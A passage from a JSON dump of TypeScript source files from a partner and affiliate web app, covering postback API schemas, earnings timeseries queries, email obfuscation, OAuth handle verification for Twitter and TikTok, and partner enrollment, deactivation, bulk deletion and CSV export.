sortOrder,\n    },\n    take: pageSize,\n    skip: (page - 1) * pageSize,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/partner-profile/client.ts",
    "content": "import {\n  createPostbackInputSchema,\n  createPostbackOutputSchema,\n  postbackSchema,\n  sendTestPostbackInputSchema,\n  updatePostbackInputSchema,\n} from \"@/lib/postback/schemas\";\nimport { createFetch, createSchema } from \"@better-fetch/fetch\";\nimport * as z from \"zod/v4\";\n\nexport const partnerProfileFetch = createFetch({\n  baseURL: \"\",\n  credentials: \"include\",\n  schema: createSchema(\n    {\n      // Create postback\n      \"/api/partner-profile/postbacks\": {\n        method: \"post\",\n        body: createPostbackInputSchema,\n        output: createPostbackOutputSchema,\n      },\n\n      // Get postback\n      \"@get/api/partner-profile/postbacks/:postbackId\": {\n        params: z.object({\n          postbackId: z.string(),\n        }),\n        output: postbackSchema,\n      },\n\n      // Update postback\n      \"@patch/api/partner-profile/postbacks/:postbackId\": {\n        params: z.object({\n          postbackId: z.string(),\n        }),\n        body: updatePostbackInputSchema,\n        output: postbackSchema,\n      },\n\n      // Delete postback\n      \"@delete/api/partner-profile/postbacks/:postbackId\": {\n        params: z.object({\n          postbackId: z.string(),\n        }),\n        output: z.object({\n          id: z.string(),\n        }),\n      },\n\n      // Rotate postback secret\n      \"@post/api/partner-profile/postbacks/:postbackId/rotate-secret\": {\n        params: z.object({\n          postbackId: z.string(),\n        }),\n        output: z.object({\n          secret: z.string(),\n        }),\n      },\n\n      // Send test postback event\n      \"@post/api/partner-profile/postbacks/:postbackId/send-test\": {\n        params: z.object({\n          postbackId: z.string(),\n        }),\n        body: sendTestPostbackInputSchema,\n        output: z.object({}),\n      },\n    },\n    {\n      strict: true,\n    },\n  ),\n});\n"
  },
  {
    "path": "apps/web/lib/api/partner-profile/get-partner-earnings-timeseries.ts",
    "content": "import { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { sqlGranularityMap } from \"@/lib/planetscale/granularity\";\nimport { getPartnerEarningsTimeseriesSchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { format } from \"date-fns\";\nimport * as z from \"zod/v4\";\n\nexport async function getPartnerEarningsTimeseries({\n  partnerId,\n  programId,\n  filters,\n}: {\n  partnerId: string;\n  programId: string;\n  filters: z.infer<typeof getPartnerEarningsTimeseriesSchema>;\n}) {\n  const {\n    groupBy,\n    type,\n    status,\n    linkId,\n    customerId,\n    payoutId,\n    interval,\n    start,\n    end,\n    timezone,\n  } = filters;\n\n  const { program, links } = await getProgramEnrollmentOrThrow({\n    partnerId: partnerId,\n    programId: programId,\n    include: {\n      program: true,\n      links: true,\n    },\n  });\n\n  const { startDate, endDate, granularity } = getStartEndDates({\n    interval,\n    start,\n    end,\n    dataAvailableFrom: program.startedAt ?? program.createdAt,\n    timezone,\n  });\n\n  const { dateFormat, dateIncrement, startFunction, formatString } =\n    sqlGranularityMap[granularity];\n\n  const query = Prisma.sql`\n        SELECT \n          DATE_FORMAT(CONVERT_TZ(createdAt, \"UTC\", ${timezone || \"UTC\"}), ${dateFormat}) AS start, \n          ${groupBy ? (groupBy === \"type\" ? Prisma.sql`type,` : Prisma.sql`linkId,`) : Prisma.sql``}\n          SUM(earnings) AS earnings\n        FROM Commission\n        WHERE \n          earnings > 0\n          AND programId = ${program.id}\n          AND partnerId = ${partnerId}\n          AND createdAt >= ${startDate}\n          AND createdAt < ${endDate}\n          ${type ? Prisma.sql`AND type = ${type}` : Prisma.sql``}\n          ${payoutId ? Prisma.sql`AND payoutId = ${payoutId}` : Prisma.sql``}\n          ${linkId ? Prisma.sql`AND linkId = ${linkId}` : Prisma.sql``}\n          ${customerId ? Prisma.sql`AND customerId = ${customerId}` : Prisma.sql``}\n          ${status ? Prisma.sql`AND status = ${status}` : Prisma.sql``}\n          GROUP BY start${groupBy ? (groupBy === \"type\" ? Prisma.sql`, type` : Prisma.sql`, linkId`) : Prisma.sql``}\n        ORDER BY start ASC;\n      `;\n\n  const earnings = await prisma.$queryRaw<\n    {\n      start: string;\n      earnings: number;\n      type?: string;\n      linkId?: string;\n    }[]\n  >(query);\n\n  const timeseries: {\n    start: string;\n    earnings: number;\n    groupBy?: string;\n    data?: Record<string, number>;\n  }[] = [];\n  let currentDate = startFunction(startDate);\n\n  const commissionLookup = earnings.reduce(\n    (acc, item) => {\n      if (!(item.start in acc)) {\n        acc[item.start] = { earnings: 0 };\n      }\n      acc[item.start].earnings += Number(item.earnings);\n      if (groupBy && item[groupBy]) {\n        acc[item.start][item[groupBy] as string] = Number(item.earnings);\n      }\n      return acc;\n    },\n    {} as Record<string, { earnings: number; [key: string]: number }>,\n  );\n\n  while (currentDate < endDate) {\n    const periodKey = format(currentDate, formatString);\n    const periodData = commissionLookup[periodKey];\n    const { earnings, ...rest } = periodData || { earnings: 0 };\n\n    timeseries.push({\n      start: currentDate.toISOString(),\n      earnings: earnings || 0,\n      groupBy: groupBy || undefined,\n      data: groupBy\n        ? {\n            ...(groupBy === \"type\"\n              ? Object.fromEntries(\n                  [\"sale\", \"lead\", \"click\"]\n                    // only show filtered type if type filter is provided\n                    .filter((t) => (type ? type === t : true))\n                    .map((t) => [t, 0]),\n                )\n              : Object.fromEntries(\n                  links\n                    // only show filtered link if linkId filter is provided\n                    .filter((link) => (linkId ? link.id === linkId : true))\n                    .map((link) => [link.id, 0]),\n                )),\n            ...(rest as Record<string, number>),\n          }\n        : undefined,\n    });\n\n    currentDate = dateIncrement(currentDate);\n  }\n\n  return timeseries;\n}\n"
  },
  {
    "path": "apps/web/lib/api/partner-profile/get-partner-for-program.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { toCentsNumber } from \"@dub/utils\";\n\nexport async function getPartnerForProgram({\n  partnerId,\n  programId,\n}: {\n  partnerId: string;\n  programId: string;\n}) {\n  const data = await prisma.programEnrollment.findUnique({\n    where: {\n      partnerId_programId: {\n        partnerId,\n        programId,\n      },\n    },\n    include: {\n      partner: {\n        include: {\n          industryInterests: true,\n          preferredEarningStructures: true,\n          salesChannels: true,\n          platforms: true,\n        },\n      },\n      links: true,\n    },\n  });\n\n  if (!data) {\n    return null;\n  }\n\n  const { partner, links, ...programEnrollment } = data;\n\n  return {\n    ...partner,\n    ...programEnrollment,\n    netRevenue:\n      toCentsNumber(programEnrollment.totalSaleAmount ?? 0) -\n      toCentsNumber(programEnrollment.totalCommissions ?? 0),\n    id: partner.id,\n    createdAt: new Date(programEnrollment.createdAt),\n    links,\n    lastLeadAt: links.reduce((acc, link) => {\n      return link.lastLeadAt && link.lastLeadAt > (acc ?? new Date(0))\n        ? link.lastLeadAt\n        : acc;\n    }, undefined),\n    lastConversionAt: links.reduce((acc, link) => {\n      return link.lastConversionAt &&\n        link.lastConversionAt > (acc ?? new Date(0))\n        ? link.lastConversionAt\n        : acc;\n    }, undefined),\n    industryInterests: partner.industryInterests.map(\n      ({ industryInterest }) => industryInterest,\n    ),\n    preferredEarningStructures: partner.preferredEarningStructures.map(\n      ({ preferredEarningStructure }) => preferredEarningStructure,\n    ),\n    salesChannels: partner.salesChannels.map(\n      ({ salesChannel }) => salesChannel,\n    ),\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/partner-profile/obfuscate-customer-email.ts",
    "content": "/**\n * Obfuscates an email to the form a*****@g****.com:\n * - Local part: first character visible, rest replaced with * (4–7 chars, approximate)\n * - Domain: first character of domain name visible, rest replaced with *, TLD unchanged (4–7 chars, approximate)\n * Uses consistent approximate lengths so the same email always obfuscates to the same string.\n */\nconst MIN_ASTERISKS = 4;\nconst MAX_ASTERISKS = 7;\n\nfunction approximateAsteriskCount(seed: number): number {\n  return MIN_ASTERISKS + (Math.abs(seed) % (MAX_ASTERISKS - MIN_ASTERISKS + 1));\n}\n\nexport function obfuscateCustomerEmail(email: string): string {\n  const [local, domain] = email.split(\"@\");\n  if (!local || !domain) return email;\n  const dotIndex = domain.indexOf(\".\");\n  const domainName = dotIndex >= 0 ? domain.slice(0, dotIndex) : domain;\n  const tld = dotIndex >= 0 ? domain.slice(dotIndex) : \"\";\n  const localAsterisks = approximateAsteriskCount(\n    local.charCodeAt(0) + local.length,\n  );\n  const domainAsterisks = approximateAsteriskCount(\n    domainName.charCodeAt(0) + domainName.length,\n  );\n  return (\n    local[0] +\n    \"*\".repeat(localAsterisks) +\n    \"@\" +\n    domainName[0] +\n    \"*\".repeat(domainAsterisks) +\n    tld\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/api/partner-profile/partner-platforms-providers.ts",
    "content": "type PartnerPlatformsProvider = {\n  authUrl: string;\n  tokenUrl: string;\n  clientId: string | null;\n  clientSecret: string | null;\n  clientIdParam?: string;\n  pkce?: boolean;\n  scopes: string;\n  verify: (props: { handle: string; accessToken: string }) => Promise<{\n    verified: boolean;\n    metadata?: Record<string, string>;\n  }>;\n};\n\nexport const PARTNER_PLATFORMS_PROVIDERS: Record<\n  string,\n  PartnerPlatformsProvider\n> = {\n  twitter: {\n    authUrl: \"https://x.com/i/oauth2/authorize\",\n    tokenUrl: \"https://api.x.com/2/oauth2/token\",\n    clientId: process.env.TWITTER_CLIENT_ID ?? null,\n    clientSecret: process.env.TWITTER_CLIENT_SECRET ?? null,\n    pkce: true,\n    scopes: \"users.read tweet.read\",\n    verify: async ({ handle, accessToken }) => {\n      if (!handle) {\n        return {\n          verified: false,\n        };\n      }\n\n      // Fetch user info\n      const response = await fetch(\"https://api.twitter.com/2/users/me\", {\n        headers: {\n          Authorization: `Bearer ${accessToken}`,\n        },\n      });\n\n      const userResponse = await response.json();\n\n      if (!response.ok) {\n        console.error(\"Failed to verify Twitter handle\", userResponse);\n\n        return {\n          verified: false,\n        };\n      }\n\n      const username = userResponse?.data?.username;\n\n      if (!username) {\n        console.error(\n          \"No username found in Twitter user response\",\n          userResponse,\n        );\n\n        return {\n          verified: false,\n        };\n      }\n\n      return {\n        verified: handle.toLowerCase() === username.toLowerCase(),\n      };\n    },\n  },\n\n  tiktok: {\n    authUrl: \"https://www.tiktok.com/v2/auth/authorize\",\n    tokenUrl: \"https://open.tiktokapis.com/v2/oauth/token/\",\n    clientId: process.env.TIKTOK_CLIENT_ID ?? null,\n    clientSecret: process.env.TIKTOK_CLIENT_SECRET ?? null,\n    clientIdParam: \"client_key\",\n    scopes: \"user.info.basic,user.info.profile\",\n    verify: async ({ handle, accessToken }) => {\n      if (!handle) {\n        return {\n          verified: false,\n        };\n      }\n\n      // Fetch user info\n      const response = await fetch(\n        \"https://open.tiktokapis.com/v2/user/info/?fields=username\",\n        {\n          headers: {\n            Authorization: `Bearer ${accessToken}`,\n          },\n        },\n      );\n\n      const userResponse = await response.json();\n\n      if (!response.ok) {\n        console.error(\"Failed to verify TikTok handle\", userResponse);\n\n        return {\n          verified: false,\n        };\n      }\n\n      const username = userResponse?.data?.user?.username;\n\n      if (!username) {\n        console.error(\n          \"No username found in TikTok user response\",\n          userResponse,\n        );\n\n        return {\n          verified: false,\n        };\n      }\n\n      return {\n        verified: handle.toLowerCase() === username.toLowerCase(),\n      };\n    },\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/api/partner-profile/upsert-partner-platform.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { PlatformType, Prisma } from \"@dub/prisma/client\";\n\ntype UpsertPartnerPlatformParams = {\n  where: {\n    partnerId: string;\n    type: PlatformType;\n  };\n  data: Pick<\n    Prisma.PartnerPlatformCreateInput,\n    \"identifier\" | \"verifiedAt\" | \"metadata\"\n  >;\n};\n\nexport async function upsertPartnerPlatform({\n  where,\n  data,\n}: UpsertPartnerPlatformParams) {\n  const { partnerId, type } = where;\n\n  return await prisma.partnerPlatform.upsert({\n    where: {\n      partnerId_type: {\n        partnerId,\n        type,\n      },\n    },\n    create: {\n      partnerId,\n      type,\n      identifier: data.identifier,\n      verifiedAt: data.verifiedAt,\n      metadata: data.metadata,\n    },\n    update: {\n      identifier: data.identifier,\n      verifiedAt: data.verifiedAt,\n      metadata: data.metadata,\n    },\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/bulk-deactivate-partners.ts",
    "content": "import { Session } from \"@/lib/auth\";\nimport { ACTIVE_ENROLLMENT_STATUSES } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { processPartnerDeactivation } from \"./process-partner-deactivation\";\n\ninterface BulkDeactivatePartnersParams {\n  workspaceId: string;\n  programId: string;\n  partnerIds: string[];\n  user?: Session[\"user\"];\n  programDeactivated?: boolean; // Indicate if the entire program is being deactivated\n}\n\nexport async function bulkDeactivatePartners({\n  workspaceId,\n  programId,\n  partnerIds,\n  user,\n  programDeactivated = false,\n}: BulkDeactivatePartnersParams) {\n  const programEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      partnerId: {\n        in: partnerIds,\n      },\n      programId,\n      status: {\n        in: ACTIVE_ENROLLMENT_STATUSES,\n      },\n    },\n    select: {\n      partner: {\n        select: {\n          id: true,\n          name: true,\n          email: true,\n        },\n      },\n    },\n  });\n\n  if (programEnrollments.length === 0) {\n    console.log(\n      \"[bulkDeactivatePartners] No program enrollments found to deactivate.\",\n      {\n        programId,\n      },\n    );\n    return;\n  }\n\n  const partners = programEnrollments.map(({ partner }) => partner);\n\n  await processPartnerDeactivation({\n    workspaceId,\n    programId,\n    partners,\n    user,\n    programDeactivated,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/bulk-delete-partners.ts",
    "content": "import { conn } from \"@/lib/planetscale\";\nimport { prisma } from \"@dub/prisma\";\nimport { ACME_PROGRAM_ID } from \"@dub/utils\";\nimport { deleteDiscountCodes } from \"../discounts/delete-discount-code\";\nimport { bulkDeleteLinks } from \"../links/bulk-delete-links\";\n\nconst BATCH_SIZE = 250;\n\n// bulk delete multiple partners and all associated links, customers, payouts, and commissions\n// currently only used for the cron/cleanup/e2e-tests and cron/cleanup/demo-embed-partners jobs\nexport async function bulkDeletePartners({\n  partnerIds,\n  deletePartners,\n}: {\n  partnerIds: string[];\n  deletePartners?: boolean;\n}) {\n  const programEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      programId: ACME_PROGRAM_ID,\n      partnerId: {\n        in: partnerIds,\n      },\n    },\n    include: {\n      links: true,\n    },\n  });\n\n  console.log(\n    `Found ${programEnrollments.length} program enrollments to delete`,\n  );\n\n  const linksToDelete = programEnrollments.flatMap((pe) => pe.links);\n  const programEnrollmentIds = programEnrollments.map((pe) => pe.id);\n\n  if (linksToDelete.length > 0) {\n    while (true) {\n      const customersToDelete = await prisma.customer.findMany({\n        where: {\n          linkId: {\n            in: linksToDelete.map((link) => link.id),\n          },\n        },\n        take: BATCH_SIZE,\n      });\n\n      if (customersToDelete.length === 0) {\n        break;\n      }\n\n      const deletedCustomers = await prisma.customer.deleteMany({\n        where: {\n          id: {\n            in: customersToDelete.map((customer) => customer.id),\n          },\n        },\n      });\n      console.log(`Deleted ${deletedCustomers.count} customers`);\n    }\n\n    const discountCodesToDelete = await prisma.discountCode.findMany({\n      where: {\n        linkId: {\n          in: linksToDelete.map((link) => link.id),\n        },\n      },\n      select: {\n        id: true,\n        code: true,\n        programId: true,\n      },\n    });\n\n    if (discountCodesToDelete.length > 0) {\n      await deleteDiscountCodes(discountCodesToDelete);\n    }\n\n    await bulkDeleteLinks(linksToDelete);\n\n    const deletedLinks = await prisma.link.deleteMany({\n      where: {\n        id: {\n          in: linksToDelete.map((link) => link.id),\n        },\n      },\n    });\n    console.log(`Deleted ${deletedLinks.count} links`);\n  }\n\n  if (programEnrollmentIds.length > 0) {\n    while (true) {\n      const commissionsToDelete = await prisma.commission.findMany({\n        where: {\n          programEnrollment: {\n            id: {\n              in: programEnrollmentIds,\n            },\n          },\n        },\n        take: BATCH_SIZE,\n      });\n\n      if (commissionsToDelete.length === 0) {\n        break;\n      }\n\n      const deletedCommissions = await prisma.commission.deleteMany({\n        where: {\n          id: {\n            in: commissionsToDelete.map((commission) => commission.id),\n          },\n        },\n      });\n      console.log(`Deleted ${deletedCommissions.count} commissions`);\n    }\n\n    const deletedPayouts = await prisma.payout.deleteMany({\n      where: {\n        programEnrollment: {\n          id: {\n            in: programEnrollmentIds,\n          },\n        },\n      },\n    });\n    console.log(`Deleted ${deletedPayouts.count} payouts`);\n\n    // Delete the messages\n    const deletedMessages = await prisma.message.deleteMany({\n      where: {\n        programEnrollment: {\n          id: {\n            in: programEnrollmentIds,\n          },\n        },\n      },\n    });\n    console.log(`Deleted ${deletedMessages.count} messages`);\n\n    // Delete the bounty submissions\n    const deletedBountySubmissions = await prisma.bountySubmission.deleteMany({\n      where: {\n        programEnrollment: {\n          id: {\n            in: programEnrollmentIds,\n          },\n        },\n      },\n    });\n    console.log(`Deleted ${deletedBountySubmissions.count} bounty submissions`);\n\n    // Delete the activity logs\n    const deletedActivityLogs = await prisma.activityLog.deleteMany({\n      where: {\n        resourceType: \"partner\",\n        resourceId: {\n          in: partnerIds,\n        },\n      },\n    });\n    console.log(`Deleted ${deletedActivityLogs.count} activity logs`);\n\n    const deletedProgramEnrollments = await prisma.programEnrollment.deleteMany(\n      {\n        where: {\n          id: {\n            in: programEnrollmentIds,\n          },\n        },\n      },\n    );\n    console.log(\n      `Deleted ${deletedProgramEnrollments.count} program enrollments`,\n    );\n  }\n\n  if (deletePartners) {\n    // using conn.execute here since Prisma is throwing a weird error\n    const res = await conn.execute(\n      `DELETE FROM Partner WHERE id IN (${partnerIds.map(() => \"?\").join(\",\")})`,\n      partnerIds,\n    );\n    console.log(JSON.stringify(res, null, 2));\n\n    console.log(`Deleted ${partnerIds.length} partners`);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/create-and-enroll-partner.ts",
    "content": "\"use server\";\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { polyfillSocialMediaFields } from \"@/lib/social-utils\";\nimport { isStored, storage } from \"@/lib/storage\";\nimport { CreatePartnerProps, ProgramProps, WorkspaceProps } from \"@/lib/types\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { EnrolledPartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma, ProgramEnrollmentStatus } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { DubApiError } from \"../errors\";\nimport { getGroupOrThrow } from \"../groups/get-group-or-throw\";\nimport { createPartnerDefaultLinks } from \"./create-partner-default-links\";\nimport { throwIfExistingTenantEnrollmentExists } from \"./throw-if-existing-tenant-id-exists\";\n\ninterface CreateAndEnrollPartnerInput {\n  workspace: Pick<WorkspaceProps, \"id\" | \"webhookEnabled\" | \"plan\">;\n  program: Pick<ProgramProps, \"id\" | \"defaultFolderId\" | \"defaultGroupId\">;\n  partner: Omit<CreatePartnerProps, \"linkProps\">;\n  link?: CreatePartnerProps[\"linkProps\"];\n  status?: ProgramEnrollmentStatus;\n  skipEnrollmentCheck?: boolean;\n  enrolledAt?: Date;\n  userId: string;\n}\n\nexport const createAndEnrollPartner = async ({\n  workspace,\n  program,\n  partner,\n  link,\n  status = \"approved\",\n  skipEnrollmentCheck = false,\n  enrolledAt,\n  userId,\n}: CreateAndEnrollPartnerInput) => {\n  if (!skipEnrollmentCheck) {\n    // Check if the partner is already enrolled in the program by tenantId or email\n    const programEnrollment = await prisma.programEnrollment.findFirst({\n      where: {\n        programId: program.id,\n        OR: [\n          ...(partner.tenantId\n            ? [\n                {\n                  tenantId: partner.tenantId,\n                },\n              ]\n            : []),\n          {\n            partner: {\n              email: partner.email,\n            },\n          },\n        ],\n      },\n      include: {\n        partner: {\n          include: {\n            platforms: true,\n          },\n        },\n        links: true,\n      },\n    });\n\n    // If the partner is already enrolled in the program\n    if (programEnrollment) {\n      // If there is no tenantId passed, or the tenantId is the same as the existing enrollment\n      // return the existing enrollment\n      if (\n        !partner.tenantId ||\n        partner.tenantId === programEnrollment.tenantId\n      ) {\n        return EnrolledPartnerSchema.parse({\n          ...programEnrollment.partner,\n          ...programEnrollment,\n          id: programEnrollment.partner.id,\n          links: programEnrollment.links,\n          ...polyfillSocialMediaFields(programEnrollment.partner.platforms),\n        });\n        // else, if the passed tenantId is different from the existing enrollment...\n      } else if (partner.tenantId) {\n        await throwIfExistingTenantEnrollmentExists({\n          tenantId: partner.tenantId,\n          programId: program.id,\n        });\n\n        // else, update the existing enrollment with the new tenantId\n        const updatedProgramEnrollment = await prisma.programEnrollment.update({\n          where: {\n            id: programEnrollment.id,\n          },\n          data: {\n            tenantId: partner.tenantId,\n          },\n          include: {\n            partner: {\n              include: {\n                platforms: true,\n              },\n            },\n            links: true,\n          },\n        });\n\n        return EnrolledPartnerSchema.parse({\n          ...updatedProgramEnrollment.partner,\n          ...updatedProgramEnrollment,\n          id: updatedProgramEnrollment.partner.id,\n          links: updatedProgramEnrollment.links,\n          ...polyfillSocialMediaFields(\n            updatedProgramEnrollment.partner.platforms,\n          ),\n        });\n      }\n    } else if (partner.tenantId) {\n      await throwIfExistingTenantEnrollmentExists({\n        tenantId: partner.tenantId,\n        programId: program.id,\n      });\n    }\n  }\n\n  const finalGroupId = partner.groupId || program.defaultGroupId;\n\n  // this should never happen, but just in case\n  if (!finalGroupId) {\n    throw new DubApiError({\n      message:\n        \"There was no group ID provided, and the program does not have a default group. Please contact support.\",\n      code: \"bad_request\",\n    });\n  }\n\n  const group = await getGroupOrThrow({\n    programId: program.id,\n    groupId: finalGroupId,\n    includeExpandedFields: true,\n  });\n\n  const payload: Pick<Prisma.PartnerUpdateInput, \"programs\"> = {\n    programs: {\n      create: {\n        id: createId({ prefix: \"pge_\" }),\n        programId: program.id,\n        tenantId: partner.tenantId,\n        status,\n        groupId: group.id,\n        clickRewardId: group.clickRewardId,\n        leadRewardId: group.leadRewardId,\n        saleRewardId: group.saleRewardId,\n        discountId: group.discountId,\n        ...(enrolledAt && {\n          createdAt: enrolledAt,\n        }),\n      },\n    },\n  };\n\n  const upsertedPartner = await prisma.partner.upsert({\n    where: {\n      email: partner.email,\n    },\n    update: payload,\n    create: {\n      ...payload,\n      id: createId({ prefix: \"pn_\" }),\n      name: partner.name || partner.email,\n      email: partner.email,\n      image: partner.image && !isStored(partner.image) ? null : partner.image,\n      country: partner.country,\n      description: partner.description,\n    },\n    include: {\n      platforms: true,\n      programs: {\n        where: {\n          programId: program.id,\n        },\n      },\n    },\n  });\n\n  // Create the partner links based on group defaults\n  const links = await createPartnerDefaultLinks({\n    workspace: {\n      id: workspace.id,\n      plan: workspace.plan,\n    },\n    program: {\n      id: program.id,\n      defaultFolderId: program.defaultFolderId,\n    },\n    partner: {\n      id: upsertedPartner.id,\n      name: partner.name,\n      email: partner.email,\n      username: partner.username,\n      tenantId: partner.tenantId,\n    },\n    group: {\n      defaultLinks: group.partnerGroupDefaultLinks,\n      utmTemplate: group.utmTemplate,\n    },\n    link,\n    userId,\n  });\n\n  const enrolledPartner = EnrolledPartnerSchema.parse({\n    ...upsertedPartner,\n    ...upsertedPartner.programs[0],\n    id: upsertedPartner.id,\n    links,\n    ...polyfillSocialMediaFields(upsertedPartner.platforms),\n  });\n\n  waitUntil(\n    Promise.all([\n      // upload partner image to R2\n      partner.image &&\n        !isStored(partner.image) &&\n        storage\n          .upload({\n            key: `partners/${upsertedPartner.id}/image_${nanoid(7)}`,\n            body: partner.image,\n          })\n          .then(async ({ url }) => {\n            await prisma.partner.update({\n              where: {\n                id: upsertedPartner.id,\n              },\n              data: {\n                image: url,\n              },\n            });\n          }),\n\n      // send partner.enrolled webhook (for approved partners)\n      status === \"approved\" &&\n        sendWorkspaceWebhook({\n          workspace,\n          trigger: \"partner.enrolled\",\n          data: enrolledPartner,\n        }),\n    ]),\n  );\n\n  return enrolledPartner;\n};\n"
  },
  {
    "path": "apps/web/lib/api/partners/create-partner-default-links.ts",
    "content": "import {\n  CreatePartnerProps,\n  ProgramProps,\n  UtmTemplateProps,\n  WorkspaceProps,\n} from \"@/lib/types\";\nimport { PartnerGroupDefaultLink } from \"@dub/prisma/client\";\nimport { constructURLFromUTMParams, isFulfilled } from \"@dub/utils\";\nimport { bulkCreateLinks } from \"../links\";\nimport { extractUtmParams } from \"../utm/extract-utm-params\";\nimport {\n  buildPartnerDefaultLinkKey,\n  generatePartnerLink,\n} from \"./generate-partner-link\";\n\ninterface CreateDefaultPartnerLinksInput {\n  workspace: Pick<WorkspaceProps, \"id\" | \"plan\">;\n  program: Pick<ProgramProps, \"defaultFolderId\" | \"id\">;\n  partner: Pick<\n    CreatePartnerProps,\n    \"name\" | \"email\" | \"username\" | \"tenantId\"\n  > & { id: string };\n  group: {\n    defaultLinks: PartnerGroupDefaultLink[];\n    utmTemplate: UtmTemplateProps | null;\n  };\n  link?: CreatePartnerProps[\"linkProps\"];\n  userId: string;\n}\n\n// Create partner default links based on group defaults\nexport async function createPartnerDefaultLinks({\n  workspace,\n  program,\n  partner,\n  group: { defaultLinks, utmTemplate },\n  link,\n  userId,\n}: CreateDefaultPartnerLinksInput) {\n  if (defaultLinks.length === 0) {\n    return [];\n  }\n\n  const hasMoreThanOneDefaultLink = defaultLinks.length > 1;\n\n  const processedLinks = (\n    await Promise.allSettled(\n      defaultLinks.map((defaultLink) => {\n        const key = buildPartnerDefaultLinkKey({\n          link,\n          partner,\n          hasMoreThanOneDefaultLink,\n        });\n\n        return generatePartnerLink({\n          workspace,\n          program,\n          partner,\n          link: {\n            ...link,\n            key,\n            domain: defaultLink.domain,\n            url: constructURLFromUTMParams(\n              defaultLink.url,\n              extractUtmParams(utmTemplate),\n            ),\n            ...extractUtmParams(utmTemplate, { excludeRef: true }),\n            partnerGroupDefaultLinkId: defaultLink.id,\n          },\n          userId,\n        });\n      }),\n    )\n  )\n    .filter(isFulfilled)\n    .map(({ value }) => value);\n\n  return await bulkCreateLinks({\n    links: processedLinks,\n    skipRedisCache: true,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/deactivate-partner.ts",
    "content": "import { Session } from \"@/lib/auth\";\nimport { ACTIVE_ENROLLMENT_STATUSES } from \"@/lib/zod/schemas/partners\";\nimport { DubApiError } from \"../errors\";\nimport { getProgramEnrollmentOrThrow } from \"../programs/get-program-enrollment-or-throw\";\nimport { processPartnerDeactivation } from \"./process-partner-deactivation\";\n\ninterface DeactivatePartnerParams {\n  workspaceId: string;\n  programId: string;\n  partnerId: string;\n  user?: Session[\"user\"];\n}\n\nexport async function deactivatePartner({\n  workspaceId,\n  programId,\n  partnerId,\n  user,\n}: DeactivatePartnerParams) {\n  const programEnrollment = await getProgramEnrollmentOrThrow({\n    programId,\n    partnerId,\n    include: {\n      partner: true,\n    },\n  });\n\n  if (\n    !ACTIVE_ENROLLMENT_STATUSES.includes(\n      programEnrollment.status as (typeof ACTIVE_ENROLLMENT_STATUSES)[number],\n    )\n  ) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: `Only partners with an \"approved\" or \"archived\" status can be deactivated. The partner's status in this program is \"${programEnrollment.status}\".`,\n    });\n  }\n\n  const { partner } = programEnrollment;\n\n  await processPartnerDeactivation({\n    workspaceId,\n    programId,\n    partners: [partner],\n    user,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/format-partners-for-export.ts",
    "content": "import { polyfillSocialMediaFields } from \"@/lib/social-utils\";\nimport { exportPartnerColumns } from \"@/lib/zod/schemas/partners\";\nimport * as z from \"zod/v4\";\n\nconst columnIdToLabel = exportPartnerColumns.reduce(\n  (acc, column) => {\n    acc[column.id] = column.label;\n    return acc;\n  },\n  {} as Record<string, string>,\n);\n\nconst numericColumns = exportPartnerColumns\n  .filter((column) => column.numeric)\n  .map((column) => column.id);\n\nconst dateColumns = [\"createdAt\", \"payoutsEnabledAt\"];\n\n// Formats partners for CSV export with proper column ordering, type coercion, and date handling\nexport function formatPartnersForExport(\n  partners: any[],\n  columns: string[],\n): Record<string, any>[] {\n  // Sort columns according to schema order\n  const columnOrderMap = exportPartnerColumns.reduce(\n    (acc, column, index) => {\n      acc[column.id] = index + 1;\n      return acc;\n    },\n    {} as Record<string, number>,\n  );\n\n  const sortedColumns = columns.sort(\n    (a, b) => (columnOrderMap[a] || 999) - (columnOrderMap[b] || 999),\n  );\n\n  // Create schema for validation\n  const schemaFields: Record<string, any> = {};\n  sortedColumns.forEach((column) => {\n    if (numericColumns.includes(column)) {\n      schemaFields[columnIdToLabel[column]] = z.coerce\n        .number()\n        .optional()\n        .default(0);\n    } else {\n      schemaFields[columnIdToLabel[column]] = z.string().optional().default(\"\");\n    }\n  });\n\n  const validationSchema = z.object(schemaFields);\n\n  // Format each partner\n  return partners.map((partner) => {\n    const result: Record<string, any> = {};\n\n    partner = {\n      ...partner,\n      ...polyfillSocialMediaFields(partner.platforms),\n    };\n\n    sortedColumns.forEach((column) => {\n      let value = partner[column] || \"\";\n\n      // Handle date fields - convert to ISO string format\n      if (dateColumns.includes(column) && value instanceof Date) {\n        value = value.toISOString();\n      }\n\n      result[columnIdToLabel[column]] = value;\n    });\n\n    return validationSchema.parse(result);\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/generate-partner-link.ts",
